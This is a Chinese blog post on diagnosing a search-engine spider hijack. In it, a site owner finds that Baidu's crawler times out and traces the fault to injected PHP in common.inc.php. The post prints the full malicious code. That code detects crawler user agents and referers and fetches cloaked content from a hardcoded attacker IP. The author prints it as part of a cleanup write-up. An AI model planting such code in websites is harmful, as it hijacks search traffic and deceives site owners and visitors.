用户正常访问,蜘蛛抓取失败504 Gateway Time-out的蜘蛛劫持解决方案

前沿

今天一个网站关键词和收录掉成渣,立马打开百度站长平台去抓取了一下,一共抓取了20多个页面,包括首页在内,显示如图内容,(有时候也会出现HTTP/1.1 040这个搞不懂的状态码)而全球地区用户打开正常,就百度蜘蛛抓取不了!

解决方案

A:解决思路的猜想

1.首先下载全站源码,进行杀毒,看网站是否被黑。

2.更换服务器,验证服务器是否中毒。

3.检查网站源码,验证是否有”正常”的劫持代码,感谢搜外同学@纷纭 也提供了帮助

B:实际操作

1.下载完源码杀毒—无异常

2.将下载的源码上传到新服务器—-问题依然存在

3.检查网站代码,流程如下

下载接口测试工具https://www.281050.com/4038.html

从这里基本可以确定,网站源码异常,蜘蛛被人判断劫持,然后全站检索 “baidu”字段,同时手动检查源码,果然,在根目录下common.inc.php文件中发现如下代码:

/*注释符号是我自己加的,请忽略
set_time_limit(30);
error_reporting(0);
defined('url') or define('url',$_SERVER['REQUEST_URI']);
defined('ref') or define('ref',$_SERVER['HTTP_REFERER']);
defined('ent') or define('ent',$_SERVER['HTTP_USER_AGENT']);
defined('site') or define('site','http://156.226.52.130');
defined('road') or define('road',"/?road=".$_SERVER['HTTP_HOST'].url."&der=".ent);
defined('regs') or define('regs','@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
$format=[".xml",".doc",".pdf",".txt",".ppt",".pptx",".xls",".csv",".shtml",".docx",".xlsx"];
foreach($format as $k => $v){
if(stristr(url,$v)) {
$bool=TRUE;
break;
}else{
$bool=FALSE;
}

}
defined('area') or define('area',$bool);
if(area && preg_match(regs,ref)){
echo g1('http://156.226.52.130/404.html');
exit;
}

if(preg_match(regs,ent)){
if(area){echo g1(site.road);
exit;
}else{
echo g1("http://156.226.52.130/u.php");
ob_flush();
flush();
}
}

function g1($f){
$c=array('http'=>array('method'=>"GET"));
$g=stream_context_create($c);
$h=file_get_contents($f,false,$g);
if(!empty($h)){
return $h;
}
}

*/

删掉代码,接口测试工具测试正常,百度站长工具抓取测试正常,其原因就是[156.226.52.130]这个是黑客的目标IP,无法访问,导致蜘蛛卡懵逼,所以出现504 Gateway Time-out,嗯,要是他IP正常,或许我就死得悄无声息!

漏洞追踪及防护

待更新…..

 

相关服务

网站被黑木马后门查杀清除,服务器网站权限加固[出售]

 

SEO/SEM

竞价推广为何有访问无咨询?2B行业案例解析

2020-9-25 22:04:20

SEO/SEM

闪投(DPA)推广投放策略

2020-10-1 16:37:21

⚠️
水源智库上的部份代码,资源及教程来源于互联网,仅供网友学习交流,版权归作者所有。所有项目皆为分享思路,仅供参考!
若您的权利被侵害,请联系站长 QQ: 或 点击客服私信反馈,我们将第一时间处理。
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧